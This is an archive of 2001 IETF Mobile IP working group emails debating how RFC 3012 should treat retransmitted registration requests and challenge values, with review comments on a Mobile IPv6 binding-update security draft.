Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <VPB2RL2S>; Sun, 11 Nov 2001 22:50:26 -0600
Message-ID: <6B49EDFE974BD51197D70002A56079D82AF565@zrc2c013.us.nortel.com>
From: "Ahmad Muhanna" <amuhanna@nortelnetworks.com>
To: "'Charles E. Perkins'" <charliep@IPRG.nokia.com>
Cc: "'Patil Basavaraj (NET/Dallas)'" <Basavaraj.Patil@nokia.com>,
        "Pete Wenzel" <wenzel@nortelnetworks.com>,
        Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>,
        Pat Calhoun <pcalhoun@diameter.org>
Subject: RE: [mobile-ip] URGENT - rfc3012 interpretation question
Date: Sun, 11 Nov 2001 22:50:26 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C16B35.8B851D00"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C16B35.8B851D00
Content-Type: text/plain;
	charset="iso-8859-1"

Hello Charlie;
Please see my comments inline.

Regards;
Ahmad Muhanna

-----Original Message-----
From: Charles E. Perkins [mailto:charliep@IPRG.nokia.com]
Sent: Sunday, November 11, 2001 3:55 PM
To: Muhanna, Ahmad [RICH1:2Q20:EXCH]
Cc: 'Patil Basavaraj (NET/Dallas)'; Wenzel, Pete [RICH2:2Q00:EXCH];
Mobile IP Working Group; Pat Calhoun
Subject: Re: [mobile-ip] URGENT - rfc3012 interpretation question



Hello Ahmad,

I have been puzzling over your question, and I do not find
a perfectly satisfying answer.

ext Ahmad Muhanna wrote:

> One more issue that needs clarification:
> RFC3012 Section 3.2. states:
> 
> "If a mobile node retransmits a Registration Request with the same
> Identification field and the same Challenge extension, and the Foreign
> Agent still has a pending Registration Request record in effect for the
> mobile node, then the Foreign Agent forwards the Registration Request to
> the Home Agent again. In all other circumstances, if the Foreign Agent
> receives a Registration Request with a Challenge extension containing a
> Challenge value previously used by that mobile node, the Foreign Agent
> SHOULD send a Registration Reply to the mobile node containing the Code
> value STALE_CHALLENGE."
> 
> However, RFC2002 section 3.6.3. defines the retransmission of
> Registration Request as the following:
> 
> "3.6.3. Registration Retransmission:
> When no Registration Reply has been received within a reasonable time,
> another Registration Request MAY be transmitted. When timestamps are
> used,
> a new registration Identification is chosen for each retransmission;
> ........"

What this boils down to, is that RFC 3012 wanted the Identification field
to stay the same for retransmissions, and RFC 2002{,bis} allows it
to change.

The problem is that RFC 2002 wasn't written to make it very convenient
for intermediate nodes (e.g., foreign agents) to recognize retransmissions.
I think the best solution for the Challenge extension is to cause the
foreign agent to do more work.  Thus, if a registration is pending, and
all the fields _except possibly the Identification field_ (!) are the
same, then the foreign agent SHOULD send the registration to the home
agent again.  It was always the intention that the foreign agent should
forward retransmitted registrations only when they are actually
retransmissions,
and checking the Identification field was supposed to be a shortcut for
verifying that point.  However, you have now identified a reason why
we should not use the shortcut.

=======================================================================

Here is the new relevant text, in the same paragraph as your original
quote:

      ....      The Foreign Agent SHOULD check that the mobile node is
   actually performing a retransmission, by verifying that the relevant 
   fields of the retransmitted request are the same as represented in
   the visitor list entry for the pending Registration Request (section
   3.7.1 of [8]).  This verification MUST NOT include the "remaining
   Lifetime of the pending registration", or the Identification field
   since those values are likely to change even for requests that are
   merely retransmissions and not new Registration Requests.  In all
   other circumstances, if the Foreign Agent receives   .... 

=======================================================================

Comments?

Ahmad Muhanna:
I hope you would agree that the following change will satisfy the need:

"If a mobile node retransmits a Registration Request with the same
Identification field and the same Challenge extension, and the Foreign
Agent still has a pending Registration Request record in effect for the
mobile node, then the Foreign Agent forwards the Registration Request to
the Home Agent again (see Registration Retransmission, section 3.6.3[8]). 
In all other circumstances, if the Foreign Agent receives a Registration 
Request with a Challenge extension containing a Challenge value previously 
used by that mobile node, the Foreign Agent SHOULD send a Registration 
Reply to the mobile node containing the Code value STALE_CHALLENGE."

Regards,
Charlie P.

------_=_NextPart_001_01C16B35.8B851D00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>RE: [mobile-ip] URGENT - rfc3012 interpretation question</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello Charlie;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Please see my comments inline.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Regards;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">From: Charles E. Perkins [<A =
HREF=3D"mailto:charliep@IPRG.nokia.com">mailto:charliep@IPRG.nokia.com</=
A>]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Sent: Sunday, November 11, 2001 3:55 =
PM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">To: Muhanna, Ahmad =
[RICH1:2Q20:EXCH]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Cc: 'Patil Basavaraj (NET/Dallas)'; =
Wenzel, Pete [RICH2:2Q00:EXCH];</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Mobile IP Working Group; Pat =
Calhoun</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Subject: Re: [mobile-ip] URGENT - =
rfc3012 interpretation question</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello Ahmad,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I have been puzzling over your =
question, and I do not find</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">a perfectly satisfying answer.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">ext Ahmad Muhanna wrote:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; One more issue that needs =
clarification:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; RFC3012 Section 3.2. =
states:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &quot;If a mobile node =
retransmits a Registration Request with the same</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Identification field and the =
same Challenge extension, and the Foreign</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Agent still has a pending =
Registration Request record in effect for the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; mobile node, then the Foreign =
Agent forwards the Registration Request to</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; the Home Agent again. In all =
other circumstances, if the Foreign Agent</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; receives a Registration Request =
with a Challenge extension containing a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Challenge value previously used =
by that mobile node, the Foreign Agent</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; SHOULD send a Registration Reply =
to the mobile node containing the Code</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; value =
STALE_CHALLENGE.&quot;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; However, RFC2002 section 3.6.3. =
defines the retransmission of</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Registration Request as the =
following:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &quot;3.6.3. Registration =
Retransmission:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; When no Registration Reply has =
been received within a reasonable time,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; another Registration Request MAY =
be transmitted. When timestamps are</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; used,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; a new registration =
Identification is chosen for each retransmission;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; ........&quot;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">What this boils down to, is that RFC =
3012 wanted the Identification field</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">to stay the same for retransmissions, =
and RFC 2002{,bis} allows it</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">to change.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The problem is that RFC 2002 wasn't =
written to make it very convenient</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">for intermediate nodes (e.g., foreign =
agents) to recognize retransmissions.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I think the best solution for the =
Challenge extension is to cause the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">foreign agent to do more work.&nbsp; =
Thus, if a registration is pending, and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">all the fields _except possibly the =
Identification field_ (!) are the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">same, then the foreign agent SHOULD =
send the registration to the home</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">agent again.&nbsp; It was always the =
intention that the foreign agent should</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">forward retransmitted registrations =
only when they are actually retransmissions,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">and checking the Identification field =
was supposed to be a shortcut for</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">verifying that point.&nbsp; However, =
you have now identified a reason why</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">we should not use the =
shortcut.</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Here is the new relevant text, in the =
same paragraph as your original</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">quote:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
....&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Foreign Agent SHOULD check that =
the mobile node is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; actually performing a =
retransmission, by verifying that the relevant </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; fields of the =
retransmitted request are the same as represented in</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; the visitor list entry =
for the pending Registration Request (section</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; 3.7.1 of [8]).&nbsp; =
This verification MUST NOT include the &quot;remaining</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; Lifetime of the pending =
registration&quot;, or the Identification field</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; since those values are =
likely to change even for requests that are</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; merely retransmissions =
and not new Registration Requests.&nbsp; In all</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; other circumstances, if =
the Foreign Agent receives&nbsp;&nbsp; .... </FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Comments?</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Ahmad Muhanna:</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"> hope you would agree that the following change will =
satisfy the need</FONT><FONT SIZE=3D2 FACE=3D"Arial">:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&quot;If a mobile node retransmits a =
Registration Request with the same</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Identification field and the same =
Challenge extension, and the Foreign</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Agent still has a pending =
Registration Request record in effect for the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">mobile node, then the Foreign Agent =
forwards the Registration Request to</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the Home Agent again</FONT><FONT =
SIZE=3D2 FACE=3D"Arial"></FONT><B></B><B> <FONT SIZE=3D2 =
FACE=3D"Arial">(see</FONT> <FONT SIZE=3D2 FACE=3D"Arial">Registration =
Retransmission,</FONT> <FONT SIZE=3D2 FACE=3D"Arial">section =
3.6.3[8])</FONT></B><FONT SIZE=3D2 FACE=3D"Arial">. </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">In all other circumstances, if the =
Foreign Agent</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT> <FONT =
SIZE=3D2 FACE=3D"Arial">receives a Registration </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Request with a Challenge extension =
containing a</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">Challenge value previously </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">used by that mobile node, the Foreign =
Agent</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">SHOULD send a Registration </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Reply to the mobile node containing =
the Code</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">value STALE_CHALLENGE.&quot;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Regards,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Charlie P.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C16B35.8B851D00--


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 10:30:40 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06583
	for <mobileip-archive@lists.ietf.org>; Mon, 12 Nov 2001 10:30:39 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA20646;
	Mon, 12 Nov 2001 08:29:39 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA11210;
	Mon, 12 Nov 2001 07:29:39 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACFCZQO006799
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 12 Nov 2001 07:12:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fACFCYkJ006798
	for mobile-ip-dist; Mon, 12 Nov 2001 07:12:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACFCVQO006791
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 07:12:31 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05426
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 07:12:08 -0800 (PST)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id HAA28554
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 07:12:24 -0800 (PST)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by crufty; Mon Nov 12 10:07:13 EST 2001
Received: from valjean.dnrc.bell-labs.com (valjean [135.180.240.120])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA00531
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 10:11:34 -0500 (EST)
Received: (from salga@localhost)
	by valjean.dnrc.bell-labs.com (8.11.6/8.8.7) id fACFBYf28591
	for mobile-ip@sunroof.eng.sun.com; Mon, 12 Nov 2001 10:11:34 -0500
Date: Mon, 12 Nov 2001 10:11:34 -0500
From: Luca Salgarelli <salga@bell-labs.com>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] RFC3012 interpretation yet again
Message-ID: <20011112101134.B28511@bell-labs.com>
Mail-Followup-To: mobile-ip@sunroof.eng.sun.com
References: <2D11BCC7FFD8D3118FD70000D1ECDC88066E7B99@pkcexv018.sprintspectrum.com> <002d01c15c39$2efe6600$752baec7@uf4xc> <20011024092818.A5151@bell-labs.com> <3BEF0F1D.11EC67DA@iprg.nokia.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BEF0F1D.11EC67DA@iprg.nokia.com>; from charliep@iprg.nokia.com on Sun, Nov 11, 2001 at 03:51:57PM -0800
X-Organization: Bell Laboratories
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello Charlie.

> >    A successful Registration Reply from the Foreign Agent MAY include a
> >    new Challenge value (see section 3.3).  The Mobile Node MAY use
> >    either the value found in the latest Advertisement, or the one found
> >    in the last Registration Reply from the Foreign Agent.  This approach
> >    enables the Mobile Node to make use of the challenge without having
> >    to wait for advertisements.
> > 
> >    A Mobile Node might receive an UNKNOWN_CHALLENGE error (see section
> >    9) if it moves to a new Foreign Agent that cannot validate the
> >    challenge provided in the Registration Request.  In such instances,
> >    the Mobile Node MUST use a new Challenge value in any new
> >    registration, obtained either from an Agent Advertisement, or from a
> >    Challenge extension to the Registration Reply containing the error.
> > 
> > So it states that the MN MUST use a Challenge from an unsuccessful Reply.
> 
> ...?  Either from a Reply, or from an Advertisement, right? ...

Right. My problem was with the fact that the FA shouldn't accept a
challenge unless it was contained either in a SUCCESSFUL reply, or in an
advertisement. Nonetheless, the MN was permitted to use a challenge from
ANY registration reply (successful or not).

I guess you are changing the text so that the FA can also accept challenges
from unsuccessful replies, so that clarifies the issue for me.

Thanks
Luca

> > However, in section 3.2, page 5, it also says:
> > 
> >    The Foreign Agent MUST NOT accept any Challenge in the Registration
> >    Request unless it was offered in last successful Registration Reply
> >    issued to the Mobile Node, or else advertised as one of the last
> > 
> > Which seems to go against what stated above.
> 
> I think this point was also raised by Ahmad, and I have fixed it by
> deleting the word "successful" as I believe you are suggesting in your
> next paragraph...
> 
> > In general, I think that there is the need to clarify if the FA should or
> > should not include a Challenge in an unsuccessful Registration Reply. If
> > the FA should include it, than it should be clarified whether the MN is or
> > is not allowed to use a Challenge obtained from an unsuccessful Reg. Reply.
> 
> 
> Regards,
> Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 11:20:32 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09556
	for <mobileip-archive@lists.ietf.org>; Mon, 12 Nov 2001 11:20:31 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA06606;
	Mon, 12 Nov 2001 09:18:53 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA18855;
	Mon, 12 Nov 2001 08:19:00 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACG2MQO006953
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 12 Nov 2001 08:02:22 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fACG2MJO006952
	for mobile-ip-dist; Mon, 12 Nov 2001 08:02:22 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACG2HQO006945
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 08:02:18 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fACG2Aq19031;
	Mon, 12 Nov 2001 17:02:11 +0100 (MET)
Date: Mon, 12 Nov 2001 17:01:19 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: [mobile-ip] Additional comments on draft-arkko-mipv6-bu-security-00.txt
To: Jari Arkko <jari.arkko@kolumbus.fi>
Cc: mobile-ip@sunroof.eng.sun.com
Message-ID: <Roam.SIMC.2.0.6.1005580879.25503.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Jari,

I have some comments on draft-arkko-mipv6-bu-security-00.txt
which I didn't get to write down in the last exchange on this draft.

Section 6.4 talks about having a configuration knob to allow
unsecure BUs. I think this is a big mistake. Instead the WG should
develop some BU solution that can give some security comparable to
today's IPv4 security.

Piggybacking ...

The term "piggybacking" isn't necessarily well defined. At least some
folks have jokingly used it for the L2 ability to send multiple frames
once the medium is acquired.

I don't know if the best is to hijack the term "piggybacking" or to define
a new one. Assuming the former there has been three forms
of piggybacking discussed:
 - end2end binding update specific piggybacking
 - sending link only generic piggybacking
 - end2end generic piggybacking (being able to send two IP payloads in
   one IP packet)

I think it would be fruitful for the WG to compare and contrast the above.
Some of the arguments for and against BU specific piggybacking 
might actually help drive consensus towards the other forms of piggybacking.

The text in section 7.5 about when to use piggybacking doesn't go into
the difference between two important cases:
1. a new CN is sending packets to the MN and they get tunneled from the HA
2. the MN moves and has some CNs in the binding update list

Some text in the 3rd paragraph seems to only apply to #1. It says
"In this situation one packet beeds to be routed through the home."

Without knowing something about the behavior of the transport and application
protocol behavior it seems like in case #2 the MN must more or less immediately
send a BU, whereas in #1 it could wait for an arbitrary amount of time since
packets will still reach the MN through the home agent. [I'm assuming that the
"update previous default router" might not make sense given that I haven't see
a careful security analysis of this in the BU context.]


Section 8.3 says "... fourfold increase in the size of the packet increased
the amount of time spent by 33%." and later points out that this when going 
from 62 to 4*62 bytes, which reads a bit funny.
Clearly a fourfold increase from 1Mbyte to 4Mbyte has a larger increase.
Thus adding "small messages" or saying "fourfold increase from 62 bytes"
would flow better.

Section 8.6 says "In the use of existing IPsec ..."  but doesn't mention
that IKE would need to establish a SA using the Home Address by sending packets
to the Home Address. So while this doesn't change any packet formats it does
introduce a small behavioral change in an IKE implementation I think.

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 11:45:28 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA10673
	for <mobileip-archive@odin.ietf.org>; Mon, 12 Nov 2001 11:45:28 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA03637;
	Mon, 12 Nov 2001 09:44:01 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA23651;
	Mon, 12 Nov 2001 08:44:07 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACGRYQO007075
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 12 Nov 2001 08:27:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fACGRYBv007074
	for mobile-ip-dist; Mon, 12 Nov 2001 08:27:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACGRUQO007067
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 08:27:30 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20390
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 08:27:31 -0800 (PST)
Received: from smtpgw6.sprintspectrum.com (smtpgw6.sprintspectrum.com [207.40.188.14])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA27324
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 08:27:31 -0800 (PST)
Received: from pkcex003.sprintspectrum.com (pkcex003.sprintspectrum.com [208.10.75.138])
	by smtpgw6.sprintspectrum.com (8.11.2/8.11.3) with ESMTP id fACGRUs21026;
	Mon, 12 Nov 2001 10:27:30 -0600 (CST)
Received: by pkcex003.sprintspectrum.com with Internet Mail Service (5.5.2654.89)
	id <WRP21868>; Mon, 12 Nov 2001 10:27:30 -0600
Message-ID: <2D11BCC7FFD8D3118FD70000D1ECDC88066E7CAA@pkcexv018.sprintspectrum.com>
From: "Lipford, Mark" <MLipfo01@sprintspectrum.com>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>,
        Nish Abrol <nabrol@qualcomm.com>
Cc: pcalhoun@diameter.org
Subject: RE: [mobile-ip] rfc3012 interpretation question
Date: Mon, 12 Nov 2001 10:27:26 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2654.89)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Charlie,

As far as this section is concerned I believe that sentence does clarify the
requirement.

Thanks

		-----Original Message-----
